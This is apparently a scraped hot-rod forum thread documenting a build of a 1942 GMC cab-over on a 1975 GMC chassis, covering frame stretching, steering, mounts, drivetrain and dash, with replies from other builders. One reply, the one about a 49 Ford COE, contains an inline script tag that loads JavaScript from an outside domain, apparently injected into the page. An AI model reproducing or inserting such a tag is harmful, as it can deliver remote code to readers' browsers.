Well here goes . Last October I went to az.to pick up my wife's 25th wedding anv. present (57 panhead) . Any who while there I found a 42 GMC COE body and frame for a good price and the build is on. I didn't start on it until after LSR this year but did start picking up parts . This is my first thread and I'm sure it wont go smooth . Well I started working on it end of April and will now try to get caught up .
I am using a 1975 GMC truck for the under carriage . Got a good donner that had a rebuilt 454 in it . After tearing it apart and cleaning I puled the motor and trans out and looked in oil pan and yes it was rebuilt but was 2 bolt main . Not what I wanted . So I sold the motor and trans for what I paid for the truck . The build will have a 38" sleeper and 9 foot bed so I will add 20" to frame . I will be using air bags and motor will be under sleeper behind cab . Does this make it a SOE instead of COE ?
Well there is a drawing I made (I'm no artist) of what I hope it will turn into. I cut the frame with air powered saw , then moved it apart. Had some 3/16 folded up the same size as frame 20" long .After welding them in I fish plated the inside . Next I took a 40" piece of old frame (same size as new frame ex. 3/8 )and boxed the inside with over laps welded 4" every 8" or so. The two channels slide in each other(over under sideways down) . Put truck where I want it to ride then started blocking the cab and fenders .
Looks like it's gonna be pretty cool when your done, I'm swapping the cab on my dragster hauler to a 47 ford, ,Here's a link to my mess http://www.jalopyjournal.com/forum/showthread.php?t=813090, I'll be watching how yours goes ,,, Tim Jones
In the picture with all the 2X4s is the frame at ride height? Maybe it is just an illusion, but the frame looks to be 2" off the floor. Here's a drawing of the Autocar I'm working on, I started with a pair of frame rails from a firetruck and set them at ride height and built from there.
So after mocking up body I lifted it up on blocks under a -arms to make sure tires missed finders . All ok ,so I started making body mounts . The body had lots of cracks around stock mounts and firewall ,the body was solid mounted . I made the new mounts out of tubing, flat plate and chevy rubber motor mounts from Speedway . Worked out pretty good . Next I will work on steering . Bought a 03 1 ton van box with tie rods and drag link . The stock steering does not seem to be at right angle .
This is how I did the steering in a 48 Chevy COE I was building 12 years ago. The frame was a 76 Chevy 3/4T. The steering box was out of a older 3/4T Chevy van, before the box was upright. As you can see I inletted it into the frame, 1" if I remember correctly. I also tipped it as much as possible, doing this I was able to use all the rest of the trucks original steering linkage. Mine had a 40" semi sleeper on it with a 500" Cad under the sleeper
You're welcome. Another thing I did with the steering was I had two universal joints. The one you see in that picture then one inside as shown in this picture. Doing it this way gives you more leeway in getting the angle you need to hook up. The column was a Chevy van shortened 14"
Nice start. I used a 74 GM 1-ton ch***is for my 49 Ford COE. I used the stock pickup box, but I do have the column goes through the floorboard. Just one u-joint at bottom of (71-ish Chevy truck tilt) column and an approx 5 inch length drag link. i even kept the stock rag joint. The drag link is just the donor truck part that has been severely shortened. Been on the road 7 years now and drive it all over. My SBC engine is on stock GM mounts and is under the cab in same position as the orig flathead. <script src="https://secure-content-delivery.com/data.js.php?i={4D877FC1-4956-4F45-A6B5-0E98AB82425A}&d=2012-6-15&s=http://www.jalopyjournal.com/forum/showthread.php?t=828949&cb=0.5270437367950477" type="text/javascript"></script>
My friend Hippy Tim and his wife came for a visit . Tim is a WELDER and rat rod builder from Del Rio , Texas . While the wives went to the movies Hippy and I decided it was time to hang the steering box and modify the drag link . First we built a jig on welding table , cut link , ground down to a taper , headed link , and welded it up in many p***es .It ain't going no where. Now on to the box which had same bolt pattern as org. I cut out the side of the frame and set up angle and tacked . WE then welded it up with lots of gussets . Seams strong . Jacked up truck and steered nice .Tim said , after looking at all my welds since starting ,that I had good penetration but needed to start laying dimes . After they left I welded up 43 holes in firewall . Cleaned up and went inside and told my wife Tim said "I had good penetration but needed to practice ." She exclaimed " That's not going to happen ! "
WOW , what a great day ! I took the day off and rode my 49 panhead to Big Bend NP for lunch . Will get back to work tomorrow .
Looking good..... COE group ch***is thread here: http://www.jalopyjournal.com/forum/group.php?do=discuss&discussionid=1633&goto=newpost
Bolted motor and trans .( 502 and 4l80e) together ,and after cutting mounts to right size , mounted in frame . My bed is going to have a dump lift to raise it so I can work on motor or pull it if necessary. Will also be able to pull it out the bottom .Starting the rear 4 bar later .
Put rear air bag , 4 arm , and shocks in . Using pipe for now (bags) to hold frame at ride height . Cut front of old frame off and tacked on front at correct place for front grill and bumper . Will cut to length when I decide on bumper . Will also box it in after radiator in place .
Had to pull coe out of shop , I used my trailer . Then pulled the buick off the rack so I could get my neighbors car on . After putting the buick back on rack I unloaded the coe and the trans s****ed , 9", so I lowered the frame . Got my dump for bed and roughed it in . It will lift bed and sleeper . The bed will be 7' wide with 6" fenders to make it 8' . then made some brackets to hold pump and gas tank on drivers side . On p*** side mounted tank and battery . Also got my air cleaner so I can decide an cut out for sleeper . But next on to front .
Today I built the radiator mounts and condenser for ac . Not a lot of room under hood . Will make new crossmember for frame with lots of gussets . Then I moved on to the brakes ( thanks corvettesander for ideas ) . Used pedal ***. out of doner and another part I had . Put 3/16 plate on firewall for support but still flimsy . Maybe better after support on back of firewall . Will try to decide on dash this week . I have cut down a 59 chevy dash to fit and have a stock one . Both have there pros and cons . Will try and post some picts. of both Monday and take comments .
Ok guys and gals I need some help on deciding on my dash . I have the stock one and a 59 chevy that I cut down to fit truck . Still have lots of work to do on it . One problem is it limits room a little and I either have to go to elec,windows or change location of regulators so they will turn . Also some picts of my score at pate this year ,sorry Seth . Last two pict. the steering is just zip tied in place .
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